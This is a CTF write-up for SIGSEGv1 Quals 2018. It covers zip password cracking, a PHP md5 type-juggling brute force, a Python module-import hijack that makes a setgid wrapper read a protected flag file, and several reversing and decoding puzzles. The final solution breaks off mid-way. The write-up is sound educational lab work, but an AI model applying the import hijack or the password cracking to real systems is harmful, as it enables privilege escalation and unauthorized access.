SIGSEGv1 Quals 2018 - Write-ups

Table of contents
  1. 🔗Information
    1. 🔗CTF
  2. 🔗100 - La simplicité - Web
  3. 🔗100 - Fun avec python - App-Script
  4. 🔗100 - antistrings - Reverse
  5. 🔗100 - Un nouveau dialecte - Misc
  6. 🔗100 - Javascript obfusqué - Reverse

🔗Information

🔗CTF

  • Name : SIGSEGv1 Quals 2018
  • Website : qual.rtfm.re
  • Type : Online
  • Format : Jeopardy (solo)

PS: CTF is in French, so are description and title of challenges.

🔗100 - La simplicité - Web

Auteur: ShrewkRoot

Bienvenue sur le site le plus simple du monde avec des failles basiques !

http://51.158.73.218:8880

Let's check if there is a robots.txt:

1
2
$ curl http://51.158.73.218:8880/robots.txt
backup.zip

It is displaying only a zip of a backup. We can download it, but the zip file is password protected.

So let's crack the password with John The Ripper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ zip2john backup.zip > zip.hashes
ver 14 efh 5455 efh 7875 backup.zip->index.php PKZIP Encr: 2b chk, TS_chk, cmplen=452, decmplen=678, crc=7C6D9845

$ john zip.hashes
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
passw0rd (backup.zip)
1g 0:00:00:00 DONE 2/3 (2018-09-28 21:28) 4.166g/s 83470p/s 83470c/s 83470C/s 123456..ferrises
Use the "--show" option to display all of the cracked passwords reliably
Session completed

$ john --show zip.hashes
backup.zip:passw0rd:::::backup.zip

1 password hash cracked, 0 left

The zip file was protected with the password passw0rd. Now we can unzip the archive.

It is containing the following php script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "auth.php";
?>
<html>
<head>
<title>Un site simple</title></title>
</head>
<body>
<center><iframe width="560" height="315" src="https://www.youtube.com/embed/2bjk26RwjyU?rel=0&amp;controls=0&amp;showinfo=0" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe></center>
<?php
if(isset($_POST["h1"]))
{
$h1 = md5($_POST["h1"] . "Shrewk");
echo "h1 vaut: ".$h1."</br>";
if($h1 == 0)
{
echo "<!--Bien joué le flag est ".$flag."-->";
}
}
?>
<!-- Si une méthode ne fonctionne pas il faut en utiliser une autre -->
<!-- Un formulaire c'était pas assez simple donc on en a pas mis -->
</body>
</html>

So let's try a request on the POST parameter h1:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: 51.158.73.218:8880
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

h1=test

So we have the flag but this was not the intended way.

I think the author wanted us to do a type juggling but there is no need for it here:

1
2
3
4
5
6
7
8
php > var_dump( "a" == 0);
bool(true)
php > var_dump( false == 0);
bool(true)
php > var_dump( "a" == false);
bool(false)
php > var_dump( "a" == true);
bool(true)

But this is weird because a non-null string is truthy. Looking at PHP type comparison tables we can see this is again a very weird and unexpected behavior of PHP loose comparisons with ==.

Sorry ShrewkRoot but the tricker was tricked!

if($h1 == 0) is like if(1) so it's always true.

Flag: sigsegv{L3TyP3JuGgl!nGCR!G0lo:!#}.

I reported that, and the challenge was fixed and the flag reset. Sorry guys ;)

Here is the new source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include "auth.php";
?>
<html>
<head>
<title>Un site simple</title></title>
</head>
<body>
<center><iframe width="560" height="315" src="https://www.youtube.com/embed/2bjk26RwjyU?rel=0&amp;controls=0&amp;showinfo=0" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe></center>
<?php
if(isset($_POST["h1"]))
{
$h1 = md5($_POST["h1"] . "Shrewk");
echo "h1 vaut: ".$h1."</br>";
if($h1 == "0")
{
echo "<!--Bien joué le flag est ".$flag."-->";
}
}
else
{
echo "<!--Tu dois entrer une valeur pour h1 mais faut que h1 soit nulle aussi \o/.-->";
}
?>
<!-- Si une méthode ne fonctionne pas il faut en utiliser une autre -->
<!-- Un formulaire c'était pas assez simple donc on en a pas mis -->
<!-- Il se peut que le flag s'affiche en commentaire -->
</body>
</html>

ShrewkRoot just needed to change $h1 == 0 into $h1 == "0" to fix that problem.

The step is to bruteforce values with md5 to get a type juggling.

But ShrewkRoot is not dumb, he used a salt to prevent us from using an already known magic hash.

So now we only need to bruteforce md5($_POST["h1"] . "Shrewk").

Note : see PHP Magic Tricks: Type Juggling.

I made a bruteforce script in Ruby:

1
2
3
4
5
6
7
8
9
10
11
12
require 'digest'

prefix = 0
text = ''

loop do
prefix += 1
text = prefix.to_s + 'Shrewk'
hash = Digest::MD5.hexdigest text
break if /0e[0-9]{30}/.match?(hash)
end
puts "md5(#{text}) == \"0\""
1
2
$ ruby juggling.rb
md5(202900081Shrewk) == "0"

Hashcat should have been more efficient but anyway. Let's send that.

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1
Host: 51.158.73.218:8880
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

h1=202900081

<!--Bien joué le flag est sigsegv{a1a29afa647a20758e64b49d8eb453f4}-->

🔗100 - Fun avec python - App-Script

Auteur: laxa

J'ai commencé à développer des modules pour python, c'est marrant. Je suis presque sûr que tout est sécurisé jusqu'à présent.

ssh -p4443 chall@51.158.73.218 mdp: e92b1b12c450afd60faa9f43cff5412e

1
2
3
4
5
chall@918f31aa462b:~$ ls -l
total 16
-r--r----- 1 root chall-pwned 42 Sep 19 22:21 flag
-rwxr-xr-x 1 root root 307 Sep 19 22:21 hello-world.py
-rwxr-sr-x 1 root chall-pwned 6304 Sep 19 22:24 wrapper

There are:

  • flag: readable only by root user and chall-pwned group
  • hello-world.py: python script
  • wrapper: with suid of chall-pwned, so we can launch the python script as chall-pwned

Here is the content of hello-world.py:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python2.7

from colors import colors

def main():
print('This is an advanced hello-world')
print('The world is more joyful with colors')
print('So, here we are:')
print('{}Hello-World !{}'.format(colors.bcolors.OKBLUE, colors.bcolors.ENDC))

if __name__ == '__main__':
main()

We instantly see there is a python format string vulnerability. But the input is not directly controllable by the user, the arguments of format() are some global constants coming from the colors module.

Checking the python known default path for installed packages, we can see the content of the module:

1
2
3
4
5
6
7
8
9
10
chall@918f31aa462b:~$ cat /usr/local/lib/python2.7/dist-packages/colors/colors.py
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'

So basically we want to recreate a fake colors module in a place we have write permission like in /tmp.

Python can load modules not only from one place but from different ones, exactly like on your shell you can call tools from different places as long as the path of the tool is specified in the PATH environment variable.

When python has to load a module, it will check sys.path and look inside each of the specified paths.

So when the hello-world.py script imports colors module, it will check the sys.path array in order.

sys.path is initialized from these locations:

  • the directory containing the input script (or the current directory).
  • PYTHONPATH (a list of directory names, with the same syntax as the shell variable PATH).
  • the installation-dependent default.

Ref.: The Module Search Path - PYTHONPATH

So I recreated the colors module with a backdoored python class:

1
2
3
4
5
class bcolors:
import subprocess
flag = subprocess.Popen('cat /home/chall/flag', shell=True, stdout=subprocess.PIPE).stdout.read()
OKBLUE = flag
ENDC = flag

Then I launched the python interpreter, modified sys.path in order to have my module's folder loaded first, and using this context calling the wrapper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
chall@918f31aa462b:~$ mkdir -p /tmp/noraj/colors
chall@918f31aa462b:~$ cd /tmp/noraj/colors
chall@918f31aa462b:/tmp/noraj/colors$ touch __init__.py
chall@918f31aa462b:/tmp/noraj/colors$ echo "class bcolors:" > colors.py
chall@918f31aa462b:/tmp/noraj/colors$ echo " import subprocess" >> colors.py
chall@918f31aa462b:/tmp/noraj/colors$ echo " flag = subprocess.Popen('cat /home/chall/flag', shell=True, stdout=subprocess.PIPE).stdout.read()" >> colors.py
chall@918f31aa462b:/tmp/noraj/colors$ echo " OKBLUE = flag" >> colors.py
chall@918f31aa462b:/tmp/noraj/colors$ echo " ENDC = flag" >> colors.py
Python 2.7.13 (default, Nov 24 2017, 17:33:09)
[GCC 6.3.0 20170516] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> sys.path[0]="/tmp/noraj"
>>> import subprocess
>>> import os
>>> os.environ['PYTHONPATH']="/tmp/noraj"
>>> subprocess.call('/home/chall/wrapper')
This is an advanced hello-world
The world is more joyful with colors
So, here we are:
sigsegv{518012356c8a2ed93b8d3e2416bb2274}
Hello-World !sigsegv{518012356c8a2ed93b8d3e2416bb2274}

0

🔗100 - antistrings - Reverse

Auteur: x0rz

Faites-moi confiance, XOR n'est pas la solution.

First, I'm not a reverser at all, and I'm not used to reverse engineer a binary, so this is a totally naive approach of solving the challenge.

I tried with radare2 to see what the binary looked like once disassembled. The more interesting function seemed to be pdf @ sub.BB_7c2. One part of the flag was read char by char egv{ and Pl4y3d, but other parts were xored.

1
2
3
str.BB ; "\nBB^\x06_YMCJ@];"
str.fIIO_K_YAO_Y ; "fIIO[K_YAO[Y^\@\x15\x15oXM\x19RZJX\x1eK($b%($!grdcA"
str.lHDG_XNOY ; "lHDG[XNOY\x0eF^AGG\x1a\x15bEA\x19[\]TP\x11J"

So I exported the xored strings:

1
2
3
ps @ str.BB > BB.bin
ps @ str.fIIO_K_YAO_Y > fIIO_K_YAO_Y.bin
ps @ str.lHDG_XNOY > lHDG_XNOY.bin

And tried some xor bruteforce without success (since I didn't understand that part in the binary).

So I tried with snowman to decompile the binary to C++.

This time I was able to copy all hexadecimal/decimal char one by one and get the flag back : sigsegv{W3llPl4y3d}.

This is extremely lame but this works.

Note: disassembler vs decompiler

🔗100 - Un nouveau dialecte - Misc

Auteur: ShrewkRoot

Nous avons trouvé un nouveau dialecte, analysez-le pour retrouver ce qu'il signifie:

ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ

Let's copy this weird string to a file and dump it as hexadecimal.

1
2
3
4
5
$ xxd crypto 
00000000: c883 c7b9 c7b7 c883 c7b5 c7b7 c886 c88b ................
00000010: c79c c791 c7a3 c7a4 c795 c797 c791 c793 ................
00000020: c795 c7a3 c7a4 c7a0 c791 c7a3 c7a3 c799 ................
00000030: c796 c791 c793 c799 c79c c795 c88d 0a ...............

Those weird characters are two bytes long.

My hypothesis is the following: the first byte has only two values (c8 or c7) so it must be either binary (0 or 1) or a symbol (+ or -) or something like that, and the second byte is the real value of the char.

What do we know? We know that the format flag is sigsegv{something}.

So we must have an equivalence:

  • 83 = s
  • b9 = i
  • b7 = g
  • 83 = s
  • b5 = e
  • b7 = g
  • 86 = v
  • 8b = {
  • etc.
  • 8d = }

Nice as expected the value of the two s and the two g are equals, so this is a basic 1 for 1 encoding.

Let's compare tne encoded value of s (0x73) with the real hex value, let's do that for all known letters and subtract them:

  • 0x83 - 0x73 (s) = 0x10
  • 0xb9 - 0x69 (i) = 0x50
  • 0xb7 - 0x67 (g) = 0x50
  • 0x83 - 0x73 (s) = 0x10
  • 0xb5 - 0x65 (e) = 0x50
  • 0xb7 - 0x67 (g) = 0x50
  • 0x86 - 0x76 (v) = 0x10
  • 0x8b - 0x7b ({) = 0x10
  • etc.
  • 0x8d - 0x7d (}) = 0x10

We have only two resulting values, so we must have this equivalence:

1
2
c7 = - 0x50 = - 80
c8 = - 0x10 = - 16

Now let's do that for the whole string, extracting the hex dump:

1
2
$ xxd -p crypto | tr -d '\n'
c883c7b9c7b7c883c7b5c7b7c886c88bc79cc791c7a3c7a4c795c797c791c793c795c7a3c7a4c7a0c791c7a3c7a3c799c796c791c793c799c79cc795c88d0a

With a quick ruby script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env ruby

# removing the trailing 0a (EOL)
hexdump = 'c883c7b9c7b7c883c7b5c7b7c886c88bc79cc791c7a3c7a4c795c797c791c793c795c7a3c7a4c7a0c791c7a3c7a3c799c796c791c793c799c79cc795c88d'
size = hexdump.size
cleartext=''

(0...size).step(4) do |i|
symbol = hexdump[i..i+1]
char = hexdump[i+2..i+3]
# c7 = - 0x50 = - 80, c8 = - 0x10 = - 16
gap = symbol=='c7' ? 80 : 16
cleartext += (char.to_i(16) - gap).chr
end

puts cleartext

Then I got the flag: sigsegv{LASTEGACESTPASSIFACILE}.

After I flaged the challenge, ShrewkRoot told me he just added +400 to each char and save the string.

So an easier way is to see the gap between s and ȃ (400) in decimal value and then apply it on all characters like this:

1
2
$ ruby -e "puts 'ȃǹǷȃǵǷȆȋǜǑǣǤǕǗǑǓǕǣǤǠǑǣǣǙǖǑǓǙǜǕȍ'.split('').map{|c| (c.ord-400).chr}.join"
sigsegv{LASTEGACESTPASSIFACILE}

🔗100 - Javascript obfusqué - Reverse

Auteur: Synacktiv

Le javascript est populaire de nos jours, serez-vous capable de retrouver le flag ?

https://qual.rtfm.re/d40f6dc5ce8a7a667af73f08db8eb2b7/challenge.html

1
2
3
4
<html><SCRIPT LANGUAGE="JavaScript"><!--
document.write(unescape("%3C%53%43%52%49%50%54%20%4C%41%4E%47%55%41%47%45%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%3C%21%2D%2D%0D%0A%68%70%5F%6F%6B%3D%74%72%75%65%3B%66%75%6E%63%74%69%6F%6E%20%68%70%5F%64%30%31%28%73%29%7B%69%66%28%21%68%70%5F%6F%6B%29%72%65%74%75%72%6E%3B%76%61%72%20%6F%3D%22%22%2C%61%72%3D%6E%65%77%20%41%72%72%61%79%28%29%2C%6F%73%3D%22%22%2C%69%63%3D%30%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%63%3D%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%69%66%28%63%3C%31%32%38%29%63%3D%63%5E%32%3B%6F%73%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%29%3B%69%66%28%6F%73%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%61%72%5B%69%63%2B%2B%5D%3D%6F%73%3B%6F%73%3D%22%22%7D%7D%6F%3D%61%72%2E%6A%6F%69%6E%28%22%22%29%2B%6F%73%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%6F%29%7D%2F%2F%2D%2D%3E%3C%2F%53%43%52%49%50%54%3E"));//--></SCRIPT><SCRIPT LANGUAGE="JavaScript"><!--
hp_d01(unescape("%3E%23//JGCF//%3C%3Eqapkrv%22nclewceg%3F%20HctcQapkrv%20%3Cdwlavkml%22Imf*q.%22rcqq+%22ytcp%22k%3F29%22tcp%22@nc@nc%3F%20%209%22dmp*h%3F29%22h%3Eq%2Cnglevj9%22h%29%29+%22y@nc@nc%29%3FQvpkle%2CdpmoAjcpAmfg**rcqq%2CajcpAmfgCv*k%29%29++%5C*q%2CajcpAmfgCv*h+++9kd%22*k%3C%3Frcqq%2Cnglevj+%22k%3F29%7Fpgvwpl*@nc@nc+9%22%7Fdwlavkml%22d*dmpo+ytcp%22rcqq%3Ffmawoglv%2Cdmpo%2Crcqq%2Ctcnwg9tcp%22jcqj%3F29dmp*h%3F29%22h%3Ercqq%2Cnglevj9%22h%29%29+ytcp%22l%3F%22rcqq%2CajcpAmfgCv*h+9jcqj%22%29%3F%22**l/h%2911+%5C13207+9%7Fkd%22*jcqj%22%3F%3F%2270%3B1%3A5+%22ytcp%22Qgapgv%22%3F%20%20%29%20%5Ez6d%5Ez23%5Ez31%5Ez3g%5Ez2%3B%5Ez7%3B%5Ez16%5Ez2%3B%5Ez2%60%5Ez27%5Ez04%5Ez71%5Ez13%5Ez63%5Ez7c%5Ez3%3A%5Ez2g%5Ez71%5Ez3f%5Ez37%5Ez3a%5Ez32%5Ez33%5Ez31%5Ez7%60%5Ez24%5Ez34%5Ez4%3B%5Ez37%5Ez0%3B%5Ez77%5Ez3f%5Ez77%5Ez7f%5Ez24%5Ez3f%5Ez2g%5Ez3d%5Ez2a%5Ez36%5Ez31%5Ez7%60%5Ez24%5Ez34%5Ez4%3B%5Ez3g%5Ez0c%5Ez62%5Ez7c%5Ez3f%5Ez3%3A%5Ez71%5Ez3%3B%5Ez24%5Ez22%5Ez34%5Ez20%5Ez74%5Ez2c%5Ez3d%5Ez34%5Ez4%3B%5Ez25%5Ez12%5Ez36%5Ez3%60%5Ez2c%5Ez7f%5Ez25%5Ez3%60%5Ez2%3A%5Ez24%5Ez31%5Ez20%5Ez74%5Ez2%60%5Ez27%5Ez24%5Ez1%60%5Ez71%5Ez11%5Ez77%5Ez34%5Ez32%5Ez3%3B%5Ez34%5Ez3%60%5Ez65%5Ez3d%5Ez22%5Ez65%5Ez37%5Ez31%5Ez2%60%5Ez3d%5Ez07%5Ez34%5Ez0%60%5Ez71%5Ez3d%5Ez67%5Ez70%5Ez3%60%5Ez3f%5Ez2c%5Ez3d%5Ez7%60%20%29%20%209tcp%22q%3FImf*Qgapgv.%22rcqq+9fmawoglv%2Cupkvg%22*q+9%7F%22gnqg%22ycngpv%22*%25Upmle%22rcqqumpf%23%25+9%7F%7F%3E-qapkrv%3C%3Eaglvgp%3C%3Edmpo%22lcog%3F%20dmpo%20%22ogvjmf%3F%20rmqv%20%22cavkml%3F%20%20%3C%3E%60%3CGlvgp%22rcqqumpf8%3E-%60%3C%3Eklrwv%22v%7Brg%3F%20rcqqumpf%20%22lcog%3F%20rcqq%20%22qkxg%3F%2012%20%22ocznglevj%3F%2012%20%22tcnwg%3F%20%20%3C%3Eklrwv%22v%7Brg%3F%20%60wvvml%20%22tcnwg%3F%20%22Em%23%22%20%22mlAnkai%3F%20d*vjkq%2Cdmpo+%20%3C%3E-dmpo%3C%3E-aglvgp%3C%3E%23//-JGCF//%3C"));//--></SCRIPT><NOSCRIPT>To display this page you need a browser with JavaScript support.</NOSCRIPT>
</html>

Let's deobfuscate this a little with jsnice:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html><SCRIPT LANGUAGE="JavaScript"><!--
< SCRIPT LANGUAGE = "JavaScript" > <!--
hp_ok = true;

function hp_d01(s) {
if (!hp_ok) return;
var o = "",
ar = new Array(),
os = "",
ic = 0;
for (i = 0; i < s.length; i++) {
c = s.charCodeAt(i);
if (c < 128) c = c ^ 2;
os += String.fromCharCode(c);
if (os.length > 80) {
ar[ic++] = os;
os = ""
}
}
o = ar.join("") + os;
document.write(o)
} //--></SCRIPT>//--></SCRIPT><SCRIPT LANGUAGE="JavaScript"><!--
hp_d01(unescape("%3E%23//JGCF//%3C%3Eqapkrv%22nclewceg%3F%20HctcQapkrv%20%3Cdwlavkml%22Imf*q.%22rcqq+%22ytcp%22k%3F29%22tcp%22@nc@nc%3F%20%209%22dmp*h%3F29%22h%3Eq%2Cnglevj9%22h%29%29+%22y@nc@nc%29%3FQvpkle%2CdpmoAjcpAmfg**rcqq%2CajcpAmfgCv*k%29%29++%5C*q%2CajcpAmfgCv*h+++9kd%22*k%3C%3Frcqq%2Cnglevj+%22k%3F29%7Fpgvwpl*@nc@nc+9%22%7Fdwlavkml%22d*dmpo+ytcp%22rcqq%3Ffmawoglv%2Cdmpo%2Crcqq%2Ctcnwg9tcp%22jcqj%3F29dmp*h%3F29%22h%3Ercqq%2Cnglevj9%22h%29%29+ytcp%22l%3F%22rcqq%2CajcpAmfgCv*h+9jcqj%22%29%3F%22**l/h%2911+%5C13207+9%7Fkd%22*jcqj%22%3F%3F%2270%3B1%3A5+%22ytcp%22Qgapgv%22%3F%20%20%29%20%5Ez6d%5Ez23%5Ez31%5Ez3g%5Ez2%3B%5Ez7%3B%5Ez16%5Ez2%3B%5Ez2%60%5Ez27%5Ez04%5Ez71%5Ez13%5Ez63%5Ez7c%5Ez3%3A%5Ez2g%5Ez71%5Ez3f%5Ez37%5Ez3a%5Ez32%5Ez33%5Ez31%5Ez7%60%5Ez24%5Ez34%5Ez4%3B%5Ez37%5Ez0%3B%5Ez77%5Ez3f%5Ez77%5Ez7f%5Ez24%5Ez3f%5Ez2g%5Ez3d%5Ez2a%5Ez36%5Ez31%5Ez7%60%5Ez24%5Ez34%5Ez4%3B%5Ez3g%5Ez0c%5Ez62%5Ez7c%5Ez3f%5Ez3%3A%5Ez71%5Ez3%3B%5Ez24%5Ez22%5Ez34%5Ez20%5Ez74%5Ez2c%5Ez3d%5Ez34%5Ez4%3B%5Ez25%5Ez12%5Ez36%5Ez3%60%5Ez2c%5Ez7f%5Ez25%5Ez3%60%5Ez2%3A%5Ez24%5Ez31%5Ez20%5Ez74%5Ez2%60%5Ez27%5Ez24%5Ez1%60%5Ez71%5Ez11%5Ez77%5Ez34%5Ez32%5Ez3%3B%5Ez34%5Ez3%60%5Ez65%5Ez3d%5Ez22%5Ez65%5Ez37%5Ez31%5Ez2%60%5Ez3d%5Ez07%5Ez34%5Ez0%60%5Ez71%5Ez3d%5Ez67%5Ez70%5Ez3%60%5Ez3f%5Ez2c%5Ez3d%5Ez7%60%20%29%20%209tcp%22q%3FImf*Qgapgv.%22rcqq+9fmawoglv%2Cupkvg%22*q+9%7F%22gnqg%22ycngpv%22*%25Upmle%22rcqqumpf%23%25+9%7F%7F%3E-qapkrv%3C%3Eaglvgp%3C%3Edmpo%22lcog%3F%20dmpo%20%22ogvjmf%3F%20rmqv%20%22cavkml%3F%20%20%3C%3E%60%3CGlvgp%22rcqqumpf8%3E-%60%3C%3Eklrwv%22v%7Brg%3F%20rcqqumpf%20%22lcog%3F%20rcqq%20%22qkxg%3F%2012%20%22ocznglevj%3F%2012%20%22tcnwg%3F%20%20%3C%3Eklrwv%22v%7Brg%3F%20%60wvvml%20%22tcnwg%3F%20%22Em%23%22%20%22mlAnkai%3F%20d*vjkq%2Cdmpo+%20%3C%3E-dmpo%3C%3E-aglvgp%3C%3E%23//-JGCF//%3C"));//--></SCRIPT><NOSCRIPT>To display this page you need a browser with JavaScript support.</NOSCRIPT>
</html>

Then declare hp_d01 and run hp_d01(unescape("...")); in the browser console, so now the code is:

1
<!--HEAD--><script language="JavaScript">function Kod(s, pass) {var i=0; var BlaBla=""; for(j=0; j<s.length; j++) {BlaBla+=String.fromCharCode((pass.charCodeAt(i++))^(s.charCodeAt(j)));if (i>=pass.length) i=0;}return(BlaBla); }function f(form){var pass=document.form.pass.value;var hash=0;for(j=0; j<pass.length; j++){var n= pass.charCodeAt(j);hash += ((n-j+33)^31025);}if (hash == 529387) {var Secret =""+"\x4f\x01\x13\x1e\x09\x59\x34\x09\x0b\x05\x26\x53\x31\x41\x5a\x18\x0e\x53\x1d\x15\x1c\x10\x11\x13\x5b\x06\x16\x69\x15\x29\x55\x1d\x55\x5d\x06\x1d\x0e\x1f\x0c\x14\x13\x5b\x06\x16\x69\x1e\x2a\x40\x5a\x1d\x18\x53\x19\x06\x00\x16\x02\x56\x0a\x1f\x16\x69\x07\x30\x14\x1b\x0a\x5d\x07\x1b\x08\x06\x13\x02\x56\x0b\x05\x06\x3b\x53\x33\x55\x16\x10\x19\x16\x1b\x47\x1f\x00\x47\x15\x13\x0b\x1f\x25\x16\x2b\x53\x1f\x45\x52\x1b\x1d\x0a\x1f\x5b"+"";var s=Kod(Secret, pass);document.write (s);} else {alert ('Wrong password!');}}</script><center><form name="form" method="post" action=""><b>Enter password:</b><input type="password" name="pass" size="30" maxlength="30" value=""><input type="button" value=" Go! " onClick="f(this.form)"></form></center><!--/HEAD-->

http://jsnice.org/ + manual deobfuscation give this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
'use strict';
/**
* @param {string} secret
* @param {string} pass
* @return {?}
*/
function Xor(secret, pass) {
/** @type {number} */
var i = 0;
/** @type {string} */
var output = "";
/** @type {number} */
j = 0;
for (; j < secret.length; j++) {
/** @type {string} */
output = output + String.fromCharCode(pass.charCodeAt(i++) ^ secret.charCodeAt(j));
if (i >= pass.length) {
/** @type {number} */
i = 0;
}
}
return output;
}
/**
* @param {?} form
* @return {undefined}
*/
function f(form) {
var userpass = document.form.pass.value;
/** @type {number} */
var hash = 0;
/** @type {number} */
j = 0;
for (; j < userpass.length; j++) {
var n = userpass.charCodeAt(j);
/** @type {number} */
hash = hash + (n - j + 33 ^ 31025);
}
if (hash == 529387) {
/** @type {string} */
var secret = "" + "O\u0001\u0013\u001e\tY4\t\x0B\u0005&S1AZ\u0018\u000eS\u001d\u0015\u001c\u0010\u0011\u0013[\u0006\u0016i\u0015)U\u001dU]\u0006\u001d\u000e\u001f\f\u0014\u0013[\u0006\u0016i\u001e*@Z\u001d\u0018S\u0019\u0006\x00\u0016\u0002V\n\u001f\u0016i\u00070\u0014\u001b\n]\u0007\u001b\b\u0006\u0013\u0002V\x0B\u0005\u0006;S3U\u0016\u0010\u0019\u0016\u001bG\u001f\x00G\u0015\u0013\x0B\u001f%\u0016+S\u001fER\u001b\u001d\n\u001f[" + "";
var flag = Xor(secret, userpass);
document.write(flag);
} else {
alert("Wrong password!");
}
};

Now let's dump the secret string to a file:

1
$ echo -n "O\u0001\u0013\u001e\tY4\t\x0B\u0005&S1AZ\u0018\u000eS\u001d\u0015\u001c\u0010\u0011\u0013[\u0006\u0016i\u0015)U\u001dU]\u0006\u001d\u000e\u001f\f\u0014\u0013[\u0006\u0016i\u001e*@Z\u001d\u0018S\u0019\u0006\x00\u0016\u0002V\n\u001f\u0016i\u00070\u0014\u001b\n]\u0007\u001b\b\u0006\u0013\u0002V\x0B\u0005\u0006;S3U\u0016\u0010\u0019\u0016\u001bG\u001f\x00G\u0015\u0013\x0B\u001f%\u0016+S\u001fER\u001b\u001d\n\u001f[" > ./secret

The secret was xored with a key (unknown and not in the script). The key is smaller than the secret message so the key was concatenated multiple times.

The secret is useless for us and the key is the flag.

plain_secret ^ key (flag) = xored_secret or xored_secret ^ key (flag) = plain_secret.

We only have the xored_secret but we can guess that the first chars of the key are sigsegv{ and begin to xored back the secret with it:

1
2
3
$ xortool-xor -f secret -s sigsegv{
<html>BrxlA T&,c}:zfywgh(oqpN#f&4ankxzo`2ae
y\;)t |avmq?mlsqKgrm.b|~}`k1x`aM(@<qc|qm<li fvli^eB4l 5mfyv<

So we now know that the plain secret is beginning with <html>Br.

The hash of the key is 529387 and we know how it is computed.

1
2
3
4
5
6
j = 0;
for (; j < userpass.length; j++) {
var n = userpass.charCodeAt(j);
/** @type {number} */
hash = hash + (n - j + 33 ^ 31025);
}

33 ^ 31025 = 30992

1
2
irb(main):001:0> 529387 / 30992
=> 17

So the key is 17 chars long.

Launching xortool shows that the most probable key length is 17 chars too.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ xortool secret 
The most probable key lengths:
1: 14.1%
5: 16.3%
9: 15.2%
11: 10.7%
14: 10.6%
17: 19.5%
23: 3.5%
29: 2.8%
31: 2.6%
34: 4.7%
Key-length can be 3*n
Key-length can be 7*n
Key-length can be 17*n
Most possible char is needed to guess the key!

The key is 17 char long, the flag begins with sigsegv{ so we have the first 8 chars of the key <html>Br so that's only 9 chars bruteforce.

Try to guess the first word Bruteforce => nothing

Bravo => sigsegv{jsI

1
2
3
4
5
6
7
8
$ xortool-xor -f secret -s '<html>Bravo' | xxd
00000000: 7369 6773 6567 767b 6a73 496f 5935 3774 sigsegv{jsIoY57t
00000010: 3011 6f74 6a7f 2d7b 2f6b 7a57 575b 346b 0.otj.-{/kzWW[4k
00000020: 3a61 6e69 6373 3256 613a 7079 5576 5e2d :anics2Va:pyUv^-
00000030: 3623 5a21 7870 6f2a 6a22 6773 282b 7551 6#Z!xpo*j"gs(+uQ
00000040: 6274 3635 7376 6438 5170 377d 6a3a 5327 bt65svd8Qp7}j:S'
00000050: 5e39 2852 6b77 6d28 2368 3378 7f35 5d57 ^9(Rkwm(#h3x.5]W
00000060: 775d 3c23 2d26 7671 345d 290a w]<#-&vq4]).

sigsegv{jsIs => <html>Bravo

1
2
3
4
5
6
7
$ xortool-xor -f secret -s 'sigsegv{jsIs' | xxd
00000000: 3c68 746d 6c3e 4272 6176 6f20 4228 3d6b <html>Bravo B(=k
00000010: 6b34 6b6e 7663 5860 286f 711a 704e 2366 k4knvcX`(oq.pN#f
00000020: 3f2e 4f6e 7d76 6b67 763c 706d 036d 6333 ?.On}vkgv<pm.mc3
00000030: 2974 7f20 7c61 766d 6825 436c 6500 6043 )t. |avmh%Cle.`C
00000040: 717c 7c26 6d68 4175 606b 3178 6061 4d28 q||&mhAu`k1x`aM(
00000050: 5926 5f63 6a7f 7c34 7a67 316e 7978 5656 Y&_cj.|4zg1nyxVV

Now let's pad and add the trailing } => s

1
2
3
4
5
6
7
8
$ xortool-xor -f secret -s 'sigsegv{jsIs????}' | xxd
00000000: 3c68 746d 6c3e 4272 6176 6f20 0e7e 6527 <html>Bravo .~e'
00000010: 7320 7472 6f75 7665 206c 6520 6616 6a22 s trouve le f.j"
